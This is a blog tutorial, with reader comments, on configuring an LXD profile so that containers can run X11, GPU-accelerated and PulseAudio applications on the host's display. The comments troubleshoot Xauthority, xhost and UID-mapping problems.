Update February 2021: See the Notes below for extra steps when trying this on the Raspberry Pi 4.
Updated instructions for LXD 4.5 (September 2020)
LXD 4.5 has added features that make proxy devices more secure in the sense that if something goes wrong on the proxy device, your system is safer. Specifically, the proxy devices are now under AppArmor confinement. In doing so, however, something broke and it was not possible to start anymore GUI/X11 LXD containers. Among the possible workarounds and real solutions, it is better to move to a solution. And the solution is to move forward to LXD 4.6 which has a fix to the AppArmor confinement issue.
Run snap info lxd
to verify which channel you are tracking. In my case, I am tracking the latest/stable
channel, which currently has LXD 4.5 (proxy devices do not work). However, the latest/candidate
channel has LXD 4.6, and Stéphane Graber said it has the fix for proxy devices. Be aware that we are switching to this channel for now, until LXD 4.6 is released as a stable version next week. That is, if you do the following, make a note to come back here (around next Thursday) so that you switch back from the candidate channel to a stable channel (latest/stable
or the 4.6/stable
).
$ snap info lxd
name: lxd
summary: System container manager and API
publisher: Canonical✓
...
tracking: latest/stable
...
channels:
latest/stable: 4.5 2020-09-18 (17299) 71MB -
latest/candidate: 4.6 2020-09-19 (17320) 71MB -
latest/beta: ↑
latest/edge: git-e1fa47b 2020-09-19 (17324) 71MB -
4.6/stable: –
4.6/candidate: 4.6 2020-09-19 (17320) 71MB -
4.6/beta: ↑
4.6/edge: ↑
...
$
Now, we refresh the LXD snap package into the latest/candidate
channel.
$ snap refresh lxd --channel=latest/candidate
lxd (candidate) 4.6 from Canonical✓ refreshed
$
And that’s it. Oh no, it’s updating again.

NOTE: If you have setup the latest/candidate
channel, you should be now switch to the latest/stable
channel. LXD 4.6 has been released now into the stable channel. Use the following command
sudo snap refresh lxd --channel=latest/stable
The post continues…
With LXD you can run system containers, which are similar to virtual machines. Normally, you would use a system container to run network services. But you can also run X11 applications. See the following discussion and come back here. In this post, we further refine and simplify the instructions for the second way to run X applications. Previously I have written several tutorials on this.
LXD GUI profile
Here is the updated LXD profile to setup a LXD container to run X11 application on the host’s X server. Copy the following text and put it in a file, x11.profile. Note that the bold text below (i.e. X1) should be adapted for your case; the number is derived from the environment variable $DISPLAY on the host. If the value is :1, use X1 (as it already is below). If the value is :0, change the profile to X0 instead.
config: environment.DISPLAY: :0 environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native nvidia.driver.capabilities: all nvidia.runtime: "true" user.user-data: | #cloud-config runcmd: - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf' packages: - x11-apps - mesa-utils - pulseaudio description: GUI LXD profile devices: PASocket1: bind: container connect: unix:/run/user/1000/pulse/native listen: unix:/home/ubuntu/pulse-native security.gid: "1000" security.uid: "1000" uid: "1000" gid: "1000" mode: "0777" type: proxy X0: bind: container connect: unix:@/tmp/.X11-unix/X1 listen: unix:@/tmp/.X11-unix/X0 security.gid: "1000" security.uid: "1000" type: proxy mygpu: type: gpu name: x11 used_by: []
Then, create the profile with the following commands. This creates a profile called x11.
$ lxc profile create x11 Profile x11 created $ cat x11.profile | lxc profile edit x11 $
To create a container, run the following.
lxc launch ubuntu:18.04 --profile default --profile x11 mycontainer
To get a shell in the container, run the following.
lxc exec mycontainer -- sudo --user ubuntu --login
Once we get a shell inside the container, you run the diagnostic commands.
$ glxinfo -B name of display: :0 display: :0 screen: 0 direct rendering: Yes OpenGL vendor string: NVIDIA Corporation ... $ nvidia-smi Mon Dec 9 00:00:00 2019 +-------------------------------------------------------------------------+ | NVIDIA-SMI 430.50 Driver Version: 430.50 CUDA Version: 10.1 | |---------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===========================+======================+======================| ... $ pactl info Server String: unix:/home/ubuntu/pulse-native Library Protocol Version: 32 Server Protocol Version: 32 Is Local: yes Client Index: 43 Tile Size: 65472 User Name: myusername Host Name: mycomputer Server Name: pulseaudio Server Version: 11.1 Default Sample Specification: s16le 2ch 44100Hz Default Channel Map: front-left,front-right Default Sink: alsa_output.pci-0000_01_00.1.hdmi-stereo-extra1 Default Source: alsa_output.pci-0000_01_00.1.hdmi-stereo-extra1.monitor Cookie: f228:e515 $
You can run xclock
which is an Xlib application. If it runs, it means that unaccelerated (standard X11) applications are able to run successfully.
You can run glxgears
which requires OpenGL. If it runs, it means that you can run GPU accelerated software.
You can run paplay
to play audio files. This is the PulseAudio audio play.
If you want to test with Alsa, install alsa-utils
and use aplay
to play audio files.
Explanation
We dissect the LXD profile in pieces.
We set two environment variables in the container. $DISPLAY for X and PULSE_SERVER for PulseAudio. Irrespective of the DISPLAY on the host, the DISPLAY in the container is always mapped to :0. While the PulseAudio Unix socket is often located eunder /var, in this case we put it into the home directory of the non-root account of the container. This will make PulseAudio accessible to snap packages in the container, as long as they support the home interface.
config:
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
This enables the NVidia runtime with all the capabilities, if such a GPU is available. The text all for the capabilities means that it enables all of compute, display, graphics, utility, video
. If you would rather restrict the capabilities, then graphics
is for running OpenGL applications. And compute
is for CUDA applications. If you do not have an NVidia GPU, then these directly will silently fail.
nvidia.driver.capabilities: all
nvidia.runtime: "true"
Here we use cloud-init
to get the container to perform the following tasks on the first time it starts. The sed
command disables shm support in PulseAudio, which means that it enables the Unix socket support. Additionally, the listed three packages are installed with utilities to test X11 application, X11 OpenGL applications and audio applications.
user.user-data: |
#cloud-config
runcmd:
- 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
packages:
- x11-apps
- mesa-utils
- pulseaudio
This command shares the Unix socket of the PulseAudio server on the host to the container. In the container it is /home/ubuntu/pulse-native
. The security configuration refers to the host. The uid, gid and mode refer to the Unix socket in the container. This is a LXD proxy device, and binds into the container, meaning that it makes the host’s Unix socket appear in the container.
devices:
PASocket1:
bind: container
connect: unix:/run/user/1000/pulse/native
listen: unix:/home/ubuntu/pulse-native
security.gid: "1000"
security.uid: "1000"
uid: "1000"
gid: "1000"
mode: "0777"
type: proxy
This part shares the Unix socket of the X server on the host to the container. If $DISPLAY on your host is also :1, then keep the default shown below to X1. Otherwise, adjust the number accordingly. The @
character means that we are using abstract Unix sockets, which means that there is no actual file on the filesystem. Although /tmp/.X11-unix/X0
looks like an absolute path, it is just a name. We could have used myx11socket
instead, for example. We use an abstract Unix socket so that it is also accessible by snap packages. We would have used an abstract Unix socket for PulseAudio, but PulseAudio does not support them. The security uid and gid refer to the host.
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X1
listen: unix:@/tmp/.X11-unix/X0
security.gid: "1000"
security.uid: "1000"
type: proxy
We make available the host’s GPU to the container. We do not need to specify explicitly which GPU we are using if we only have a single GPU.
mygpu:
type: gpu
Installing software
You can install any graphical software. For example,
sudo apt-get install -y firefox
Then, run as usual.
firefox

Creating a shortcut for an X11 application in a LXD container
When we are running X11 applications from inside a LXD container, it is handy if we could have a .desktop
on the host, and use it to launch the X11 application from the container. Below we do this. We perform the following on the host.
First, select an icon for the X11 application and place it into a sensible directory. In our case, we place it into ~/.local/share/icons/. You can find an appropriate icon from the resource files of the installed X11 application in the container. If we assume that the container is called steam
and the appropriate icon is /home/ubuntu/.local/share/Steam/tenfoot/resource/images/steam_home.png
, then we can copy this icon to the ~/.local/share/icons/
folder on the host with the following command.
lxc file pull steam/home/ubuntu/.local/share/Steam/tenfoot/resource/images/steam_home.png ~/.local/share/icons/
Then, paste the following in a text editor and save it as a file with the .desktop
extension. For this example, we select steam.desktop. Fill in appropriately the Name, Comment, Exec command line and Icon.
[Desktop Entry] Name=Steam Comment=Play games on Steam Exec=lxc exec steam -- sudo --user ubuntu --login steam Icon=/home/user/.local/share/icons/steam_home.png Terminal=false Type=Application Categories=Game;
Finally, move the desktop file into the ~/.local/share/applications directory.
mv steam.desktop ~/.local/share/applications/
We can then look for the application on the host and place the icon on the launcher.
Notes
It has been reported that on the Raspberry Pi 4, using Ubuntu for both the host and the container, you get the following error. This error is on permission denied when trying to run GPU-accelerated applications in an (unprivileged) container as user ubuntu
.
libGL error: failed to create dri screen
libGL error: failed to load driver: vc4
libGL error: failed to open /dev/dri/card1: Permission denied
libGL error: failed to open /dev/dri/card1: Permission denied
libGL error: failed to load driver: vc4
The device files in /dev/dri/
are owned by the Unix group video
. The corresponding files inside the container on PC are owned by root
and it works. However, on the RPi4, apparently you need to change the permissions for those files so that in the container, they are owned by the Unix group video
. LXD has a field for the gpu
device to set the group.
Therefore, change the following fragment of the LXD profile x11
from this
mygpu:
type: gpu
to include the gid
propety with value 44 (the numeric value for the video
Unix group, as shown in /etc/groups
.
mygpu:
type: gpu
gid: 44
Conclusion
This is the latest iteration of instructions on running GUI or X11 applications and having them appear on the host’s X server.
Note that the applications in the container have full access to the X server (due to how the X server works as there are no access controls). Do not run malicious or untrusted software in the container.
121 comments
3 pings
Skip to comment form
Hello. Seems nice, will it work the same way on arch? To enable gpu support with radeon cards how to edit these strings?
nvidia.driver.capabilities: all
nvidia.runtime: “true”
I believe here is a typo:
“”We do not need to specify explicitly which ->CPU<- we are using if we only have a single GPU.
Author
Hi!
It should work on Arch as well, as long as X11 is configured along with Wayland.
Radeon and Intel GPUs do not need any extra configuration, compared to NVidia that requires a runtime.
It does not cause an issue if you keep these two NVidia lines. The only downside is that it will mount the nvidia runtime files from the host to the container, making them available there. It would be an issue if you do have an NVidia GPU because it might give access to the hardware.
Thanks for pointing out the typo. Fixed.
Thank you for pointing this out. Lxd from snap is working flawlessly, but i have other problems. It would be great if you can help.
1. After lxd install via snap i had to run it only with a sudo, to fix that i added my user to an lxd group. Is that the correct fix?
2.In places where you said that: “The security uid and gid refer to the host.”, means that i shall adopt this values to an actual one’s on the host, right? And those that are without security keyword i should leave as is.
While creating a new container i received this error, is it related to a pulse or to the permissions?
[code]
Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/pulse-native: listen unix /home/ubuntu/pulse-native: bind: no such file or directory
Name: x111804
Location: none
Remote: unix://
Architecture: x86_64
Created: 2020/01/06 09:02 UTC
Status: Stopped
Type: persistent
Profiles: default, x11
Log:
lxc x111804 20200106090252.847 WARN cgfsng – cgroups/cgfsng.c:chowmod:1525 – No such file or directory – Failed to chown(/sys/fs/cgroup/unified//lxc.payload/x111804/memory.oom.group, 1000000000, 0)
[/code]
Author
lxd
group in order to runlxc
commands withoutsudo
.If you just added your non-root account on the host to the
lxd
group, you would need either to logout/login, or runnewgrp lxd
(for the duration of the current session).Note though that, just like with Docker, if a non-root user on the host is a member of LXD (
docker
on Docker), they have effectively administrative (root) rights. That is, both LXD and Docker are feature-rich that can allow a non-root user (who is member of the respective Unix group) to get elevated to root.You may also make changes for the uid, gid that related to the container, if you do not use an Ubuntu container.
Bonus question: You got this error, /home/ubuntu/pulse-native: bind: no such file or directory. You are either using another container image (not Ubuntu), or if you are using an Ubuntu container image, you are not using the
ubuntu:18.04
(orubuntu:
in general) container image.Verify that your container image creates a non-root account, and adapt accordingly if that non-root account is something other than
ubuntu
.I did logout and login before running commands and checked with ‘id’ that i really am listed in lxd group. So i edited security.gid to match value in host and runned command from tutorial:
‘lxc launch ubuntu:18.04 –profile default –profile x11 mycontainer’. After your reply i tryied ubuntu 19.04 with similar command ‘lxc launch ubuntu:19.04 –profile default –profile x11 ubuntu1904x11’. As a result i received the same error:
[code]
Log:
lxc ubuntu1904x11 20200106205827.309 WARN cgfsng – cgroups/cgfsng.c:chowmod:1525 – No such file or directory – Failed to chown(/sys/fs/cgroup/unified//lxc.payload/ubuntu1904x11/memory.oom.group, 1000000000, 0)
[/code]
Without x11 profile i can create container successfully. Issuing ‘id’ in container i get:
ubuntu@ubuntu1904:~$ id
uid=1000(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(netdev),1000(lxd).
[code]
I have managed to create container without x11 profile, then i have applyied it, rebooted container and had to manually install apps listed in x11 profile. Finally, running glxinfo i receive this error:
No protocol specified
Error: unable to open display :0
[code]
[/code]
Maybe this is the issue?
p.s. sorry for a mess in text formatting, but i have no clue how to correctly format text here.
I have tried to manually add everything needed for gpu following steps from your previous tutorial: https://blog.simos.info/how-to-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/ and still i receive the same error. I have no ideas what to do next.
[colt@fallback-os /]$ lxc config device remove ubuntu1804 X0
Device X0 removed from ubuntu1804
[colt@fallback-os /]$ lxc config device add ubuntu1804 X0 disk path=/tmp/.X11-unix/X0 source=/tmp/.X11-unix/X0
Device X0 added to ubuntu1804
[colt@fallback-os /]$ lxc config device add ubuntu1804 Xauthority disk path=/home/ubuntu/.Xauthority source=${XAUTHORITY}
Device Xauthority added to ubuntu1804
[colt@fallback-os /]$ lxc config device add ubuntu1804 mygpu gpu
Device mygpu added to ubuntu1804
[colt@fallback-os /]$ lxc config device set ubuntu1804 mygpu uid 1000
[colt@fallback-os /]$ lxc config device set ubuntu1804 mygpu gid 1000
[colt@fallback-os /]$ lxc exec ubuntu1804 -- sudo --login --user ubuntu
ubuntu@ubuntu1804:~$ cat /tmp/.X11-unix/X0
cat: /tmp/.X11-unix/X0: No such device or address
ubuntu@ubuntu1804:~$ xclock
No protocol specified
Error: Can't open display: :0
ubuntu@ubuntu1804:~$ xauth list
xauth: timeout in locking authority file /home/ubuntu/.Xauthority
ubuntu@ubuntu1804:~$ exit
logout
[colt@fallback-os /]$ lxc restart ubuntu1804
[colt@fallback-os /]$ lxc exec ubuntu1804 -- sudo --login --user ubuntu
ubuntu@ubuntu1804:~$ xauth list
xauth: timeout in locking authority file /home/ubuntu/.Xauthority
ubuntu@ubuntu1804:~$ ls -la /tmp/.X11-unix/X0
srwxrwxrwx 1 nobody nogroup 0 Jan 8 06:06 /tmp/.X11-unix/X0
ubuntu@ubuntu1804:~$ ls -la /home/ubuntu/.Xauthority
-rw------- 1 ubuntu nogroup 168 Jan 8 06:06 /home/ubuntu/.Xauthority
ubuntu@ubuntu1804:~$ cat /home/ubuntu/.Xauthority
fallback-os0MIT-MAGIC-COOKIE-1z,�
U����Vf�=�:
fallback-os0MIT-MAGIC-COOKIE-1������6����'�M
fallback-os0MIT-MAGIC-COOKIE-1������6����'�Mubuntu@ubuntu1804:~$
ubuntu@ubuntu1804:~$ exit
logout
[colt@fallback-os /]$ ls -la /tmp/.X11-unix/X0
srwxrwxrwx 1 root root 0 Jan 8 08:06 /tmp/.X11-unix/X0
[colt@fallback-os /]$ xauth list
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 7a2ce90a55eea0c195a05666ba3d9f3a
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 c3f6b998bddc1c3683972ac1bf27d04d
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 c3f6b998bddc1c3683972ac1bf27d04d
[colt@fallback-os /]$ echo $XAUTHORITY
/home/colt/.Xauthority
srwxrwxrwx 1 nobody nogroup 0 Jan 8 06:06 /tmp/.X11-unix/X0
<- is it normal that in container it’s chowned by ‘no one’?It’s a complete mess, but i finally managed to get gui. Sadly, but not with x11 profile as previous error is not gone. Possibly a next todo…
So, what i have done.
1. $ lxc launch ubuntu:x guiapps <- how to set here container hostname?
2. $ lxc exec guiapps -- sudo --login --user ubuntu
ubuntu@guiapps:~$ sudo apt update
ubuntu@guiapps:~$ sudo apt install x11-apps mesa-utils alsa-utils
ubuntu@guiapps:~$ exit
Add container hostname to Xauth (source: https://ubuntuforums.org/showthread.php?t=1386329&p=8699969#post8699969)
$ xauth list - to get host magic key
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key1 <-
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key2 <- why i have multiple keys?
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key3 <-
$ xauth add ${HOST}/unix:0 . keyN <- you have to try them all or maybe first one is the right one
(Afterwards you can remove it issuing: xauth remove ${HOST}/unix:0)
fix raw idmap
$ printf "uid $(id -u) 1000\ngid $(id -g) 1000" | sudo lxc config set guiapps raw.idmap -
$ lxc restart guiapps
Configuring graphics and graphics acceleration
$ lxc config device add guiapps X0 disk path=/tmp/.X11-unix/X0 source=/tmp/.X11-unix/X0
$ lxc config device add guiapps Xauthority disk path=/home/ubuntu/.Xauthority source=${XAUTHORITY}
$ lxc config device add guiapps mygpu gpu
$ lxc config device set guiapps mygpu uid 1000
$ lxc config device set guiapps mygpu gid 1000
$ lxc restart guiapps
At this point is working but pulse not.
Container manual step by step configuration based on x11 profile with gui and sound working: https://pastebin.com/9is481wn
Important changes to check:
– manual cookie creation for XAuth
– using socket as pulse server
Author
For the container to be able to run X11 applications and get the output sent to the host’s X server, the container needs access to the host’s X server. Repeat the same for PulseAudio.
The host can either 1) share the X11 Unix socket to the container, 2) share the X11 Abstract Unix socket to the container, 3) expose the X TCP port (port 6000) to the container.
I try to avoid [3] because it is likely to be less performant than a Unix socket.
I used to demonstrate to use [1], the X11 Unix socket, which on the host is
/tmp/.X11-unix/X0
(orX1
). Unix sockets are cool, and they also are able to filter (i.e. permit or forbid) the calling process depending on the UID (of the calling process). Therefore, if the UID of the GUI process in the container is the same numerical as that on the host’s X server, then we get a free pass to use the socket!But if the UID is different, then we need to setup those MIT cookies, and xauth and what not.
I now suggest to use instead Abstract Unix sockets for the X11 Unix socket. The X server creates both a
/tmp/.X11-unix/X0
and a@/tmp/.X11-unix/X0
socket. The@
in the latter makes it an Abstract Unix socket. The latter is not an actual file but rather the full path is the identifier of this type of socket. And in this case, to be able to give access to the X server on the host, a GUI application in the container can access directly the abstract Unix socket. No need for file access permissions, nor making sure the process ID of the GUI application is the same as on the host.LXD supports a few ways to share the X Unix socket to the container. Either using 1) a
disk
LXD device (supported in all versions of LXD), 2) aproxy
LXD device for a Unix socket (LXD 3.4 or newer), 3) aproxy
LXD device for an abstract Unix socket (LXD even newer than 3.4).Personally I prefer method [3] because it is unrestricted. This post describes method 3.
Unfortunately, PulseAudio, as packaged on Ubuntu and most other distributions, does not create by default an Abstract Unix socket. Therefore, you either need a plain Unix socket or share a TCP port (as you do in the latest example).
And in this case, to be able to give access to the X server on the host, a GUI application in the container can access directly the abstract Unix socket. No need for file access permissions, nor making sure the process ID of the GUI application is the same as on the host.
Sorry, but at this point it seems as a false positive statement, because, obviously it doesn’t work on my side like that. I have managed to get gui running with abstract socket and with XAuthority file passed.
At this tutorial i have found a complete explanation that leads me to a point that XAuthority is actually needed.
To complete the picture, here is the explanation why this setup works and how SSH setup differs from it. When some X11 application is started inside a container, it notices that DISPLAY variable is set to :0. This instructs it to use /tmp/.X11-unix/X0 and @/tmp/.X11-unix/X0 unix sockets as transport to X server. It tries them both and detects that the first one is working. Next the application reads XAUTHORITY variable that gives the location of the file with cookies as /root/.Xauthority. It searches it for the cookie corresponding to display :0 and uses this cookie to authorize itself within X server. X server grants permission because it previously issued this cookie and it has not expired yet.
On the other side i haven’t found a clear answer on “Does an abstract socket needs authorization to connect X or not?”, but wiki and stackexchange and basically X.Org: Communication Between Client and Server, X.Org: Security doesn’t mention about possibility to connect to X without authorization.
Therefore, you either need a plain Unix socket or share a TCP port (as you do in the latest example).
Actually i have tried to use tcp port and it doesnt work, so i used plain unix socket. But it has some strange bug: sometimes i get “Connection failure: Access denied”, but mainly i manage to connect pulseaudio.
At this point my working solution is this profile and i create container with the same domain name as my host to match XAuthority cookie.
$ lxc profile show x11
config:
environment.DISPLAY: :0
raw.idmap: |-
uid 1000 1000
gid 985 1000
user.user-data: |
#cloud-config
runcmd:
- 'mkdir /opt/.pulse-native'
- 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
- 'echo export PULSE_SERVER=unix:/opt/.pulse-native | tee --append /home/ubuntu/.profile'
packages:
- x11-apps
- mesa-utils
- pulseaudio
description: GUI LXD profile
devices:
PASocket1:
bind: container
connect: unix:/run/user/1000/pulse/native
gid: "1000"
listen: unix:/opt/.pulse-native
mode: "0777"
security.gid: "985"
security.uid: "1000"
type: proxy
uid: "1000"
X0:
bind: container
connect: unix:@/tmp/.X11-unix/X0
listen: unix:@/tmp/.X11-unix/X0
security.gid: "985"
security.uid: "1000"
type: proxy
Xauthority:
path: /home/ubuntu/.Xauthority
source: /home/your-host-user/.Xauthority
type: disk
mygpu:
type: gpu
… it seems that my last reply was identified as spam and i havent saved it in textpad.
To summarize, my lost post: i have found no sources that mentions that client can connect to a X server without authentication via any kind of connection type( socket, abstract socket, ssh).
Thus i can conclude that .XAuthority is needed.
I managed to connect to X via abstract socket, but only with above mentioned file. To make setup easier i just called my container the same as my host.
my profile that works for me out of the box: link
Author
I found your post in the spam and I approved it. It is shown above.
My reading of the documentation is this, Except for Host Access control and Server Interpreted Access Control, each of these systems uses data stored in the .Xauthority file to generate the correct authorization information to pass along to the X server at connection setup. (
man 7 Xsecurity
).What does your xhost say? On Ubuntu, it is
I am running the following in a LXD container (default, gui). Even if I put dummy (wrong) info in the .Xauthority file, the X application still runs.
On host side xhost is empty:
$ uname -a
Linux fallback-os 5.2.11-arch1-1-ARCH #1 SMP PREEMPT Thu Aug 29 08:09:36 UTC 2019 x86_64 GNU/Linux
$ xhost
access control enabled, only authorized clients can connect
If i run X app with no matching cookie for a container i get:
ubuntu@fallback-os:~$ 1
No protocol specified
Error: Can't open display: :0
ubuntu@fallback-os:~$ grep -i Xauthority calls.log*
calls.log.335:access("/home/ubuntu/.Xauthority", R_OK) = 0
calls.log.335:openat(AT_FDCWD, "/home/ubuntu/.Xauthority", O_RDONLY) = 4
If i create wrong cookie for this container i get instead:
ubuntu@fallback-os:~$ strace -fff -o calls.log xclock
Invalid MIT-MAGIC-COOKIE-1 keyError: Can't open display: :0
ubuntu@fallback-os:~$ grep -i Xauthority calls.log*
calls.log.343:access("/home/ubuntu/.Xauthority", R_OK) = 0
calls.log.343:openat(AT_FDCWD, "/home/ubuntu/.Xauthority", O_RDONLY) = 4
It’s strange that on your side it works without .Xauthority in container, but i have no clue why… Possibly this question is a candidate for X.Org mailing list.
Thank you for your effort!
Author
The reason why
.Xauthority
is not required for local users on Ubuntu, is this defaultxhost
setting that Ubuntu has. It also means that I have to update this post so that users check the output ofxhost
for their particular distribution.As I wrote earlier, on Ubuntu
xhost
says:This means that the default desktop user myusername is not required to present the authorization of
~myusername/.Xauthority
to the X server. It makes sense because they do have read access to that file anyway.In your case with Arch, it is fine to pass the
~/.Xauthority
to the container in order to make it work.The alternative would be to add your user account to the
xhost
list. Note that this is a runtime configuration (you need to run it every time you restart).But if you want to make it permanent, add the following configuration as it is done in Ubuntu.
Well, that make a sense. My bad, I thought that it’s completely disabled by X server. After issuing the respective command and restarting container gui is working with no issues. Thank you for clarifying that.
In the mean time i have found out that adding untrusted magic cookie you can run software accelerated X apps with no access to hardware acceleration.
$ xauth -f /tmp/ff.xauth generate :0 . untrusted timeout 0
$ xauth -f /tmp/ff.xauth list
fallback-os/unix:0 MIT-MAGIC-COOKIE-1 b6a286868b06235655e8e7898f9c300a
$ xauth -f /tmp/ff.xauth add mycontainer/unix:0 MIT-MAGIC-COOKIE-1 b6a286868b06235655e8e7898f9c300a
$ xauth -f /tmp/ff.xauth remove fallback-os/unix:0
ubuntu@mycontainer:~$ glxgears
Error: couldn't get an RGB, Double-buffered visual
Possible workaround is to use VirtualLg, but, in this case i think it’s redundant.
Hi. After using lxc container for a some time i’m stuck with a previously ignored problem.
Actually i have tried to use tcp port and it doesnt work, so i've used a plain unix socket. But it has some strange bug: sometimes i get “Connection failure: Access denied”, but mainly i manage to connect pulseaudio.
Now mainly is changed to seldom and i can’t find a way to solve it. It would be great if you can help me.
After some time of digging i started a pulse server on host in a verbose mode and checked it’s output on new connections. This is what i receive:
I: [pulseaudio] client.c: Created 78 "Native client (UNIX socket client)"
D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client added for object /org/pulseaudio/core1/client78
D: [pulseaudio] protocol-native.c: Protocol version: remote 33, local 32
I: [pulseaudio] protocol-native.c: Got credentials: uid=65534 gid=65534 success=0
W: [pulseaudio] protocol-native.c: Denied access to client with invalid authentication data.
D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client removed from object /org/pulseaudio/core1/client78
I: [pulseaudio] client.c: Freed 78 "Native client (UNIX socket client)"
I: [pulseaudio] protocol-native.c: Connection died.
I: [pulseaudio] client.c: Created 79 "Native client (UNIX socket client)"
D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client added for object /org/pulseaudio/core1/client79
D: [pulseaudio] protocol-native.c: Protocol version: remote 33, local 32
I: [pulseaudio] protocol-native.c: Got credentials: uid=1000 gid=985 success=1
D: [pulseaudio] protocol-native.c: SHM possible: yes
D: [pulseaudio] protocol-native.c: Negotiated SHM: no
D: [pulseaudio] protocol-native.c: Disabling srbchannel, reason: No SHM support
D: [pulseaudio] module-augment-properties.c: Looking for .desktop file for pactl
D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client removed from object /org/pulseaudio/core1/client79
I: [pulseaudio] client.c: Freed 79 "pactl"
I: [pulseaudio] protocol-native.c: Connection died.
Two times i called ‘pactl info’ from a container logged as ubuntu user. And i can’t find a way how to determine why my ids were incorrectly translated into nobody -> uid=65534 gid=65534.
And it seems that this problem affects all my containers…
Author
I think you have a general issue with the shifting of the IDs. Have a look at https://blog.simos.info/how-to-view-the-files-of-your-lxd-container-from-the-host/ in order to check what is the real (per host) UID/GID of those files that appear as nobody/nogroup in the container.
If you shift between enabling and disabling
shiftfs
, you might get this issue.Thanks, you are right. I have checked UID/GID’s using method from provided post and my container root directory UID and included rootfs directory UID/GID are completely wrong.
-bash-4.3# ls -la secondpool/containers/skyrim/
total 24
d--x------ 1 1000000 root 78 Jan 23 00:16 .
drwxr-xr-x 1 root root 12 Jan 24 19:05 ..
-r-------- 1 root root 19771 Feb 4 21:25 backup.yaml
-rw-r--r-- 1 root root 1042 Jan 7 10:53 metadata.yaml
drwxr-xr-x 1 1000000 1000000 162 Jan 7 09:57 rootfs
drwxr-xr-x 1 root root 186 Jan 7 10:53 templates
If shiftfs is not enabled by default then i haven’t used it. I’ve created my container using your profile with slight changes to solve my problem with pulse unix socket not getting created at a container creation step, which i have mentioned a while ago. So i have no clue why it happens.
Great post.
I think it could be improved by repeating a version of your “Creating a Shortcut” section that you included in a previous post on the topic (At the bottom):
https://blog.simos.info/running-steam-in-a-lxd-system-container/
I would like if LXD or a plugin included a wizard to create a “GUI profile” or otherwise included it as a kind of built-in feature. It seems a potentially common and valuable use case.
Just today I found that the “snap” of Chromium that’s forced on me in Ubuntu 19.10 breaks a couple of kind of functionality that work in the “.deb” package which is not available on Ubuntu 19.10. One solution could be to run the Chromium “.deb” packaged for Ubuntu 18.04 in an LXD GUI container.
Author
Thanks!
I added the section on creating a shortcut in this post as well.
multipass
has such an applet that is suitable for a wizard. I’ll have a look at it.Doesn’t work on ThinkPad X1 Extreme Gen 2. (other hybrid graphics systems?) Same problem when I tried turning off hybrid in firmware.
Ubuntu 19.10 container on Ubuntu 19.10 host. Latest lxd snap.
ubuntu@gputest:~$ glxinfo -B
name of display: :0
X Error of failed request: BadValue (integer parameter out of range for operation)
Major opcode of failed request: 152 (GLX)
Minor opcode of failed request: 24 (X_GLXCreateNewContext)
Value in failed request: 0x0
Serial number of failed request: 96
Current serial number in output stream: 97
ubuntu@gputest:~$ nvidia-smi
No devices were found
ubuntu@gputest:~$ ls -l /dev/nvidia*
crw-rw-rw- 1 nobody nogroup 195, 254 Feb 13 22:35 /dev/nvidia-modeset
crw-rw-rw- 1 nobody nogroup 234, 0 Feb 13 22:35 /dev/nvidia-uvm
crw-rw-rw- 1 nobody nogroup 234, 1 Feb 13 22:35 /dev/nvidia-uvm-tools
crw-rw-rw- 1 root root 195, 0 Feb 15 04:16 /dev/nvidia0
crw-rw-rw- 1 nobody nogroup 195, 255 Feb 13 22:35 /dev/nvidiactl
ubuntu@gputest:~$ ls -ln /dev/nvidia*
crw-rw-rw- 1 65534 65534 195, 254 Feb 13 22:35 /dev/nvidia-modeset
crw-rw-rw- 1 65534 65534 234, 0 Feb 13 22:35 /dev/nvidia-uvm
crw-rw-rw- 1 65534 65534 234, 1 Feb 13 22:35 /dev/nvidia-uvm-tools
crw-rw-rw- 1 0 0 195, 0 Feb 15 04:16 /dev/nvidia0
crw-rw-rw- 1 65534 65534 195, 255 Feb 13 22:35 /dev/nvidiactl
ubuntu@gputest:~$ ls -l /dev/dri/
total 4
crw-rw---- 1 root root 226, 0 Feb 15 04:16 card0
crw-rw---- 1 root root 226, 1 Feb 15 04:16 card1
crw-rw---- 1 root root 226, 128 Feb 15 04:16 renderD128
crw-rw---- 1 root root 226, 129 Feb 15 04:16 renderD129
glxinfo and nvidia-smi works on host. Been trying to figure out how to get it working for a few weeks.
Author
Check what’s in `/tmp/.X11-unix/ on the host.
Most likely there will be X0 and X1, for the Intel and the NVidia GPUs. Run
echo $DISPLAY
on the host to check which GPU is the primary one. With hybrid, do they switch dynamically?Pretty sure it doesn’t switch dynamically.
~
λ ls -l /tmp/.X11-unix
total 0
srwxrwxrwx 1 root root 0 Feb 18 23:59 X0=
srwxrwxrwx 1 root root 0 Feb 19 00:00 X1=
~
λ echo $DISPLAY
:1
~
λ prime-select query
nvidia
~
λ lxc profile show x11
config:
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
nvidia.driver.capabilities: all
nvidia.runtime: "true"
user.user-data: |
#cloud-config
runcmd:
- 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
packages:
- x11-apps
- mesa-utils
- pulseaudio
description: GUI LXD profile
devices:
PASocket1:
bind: container
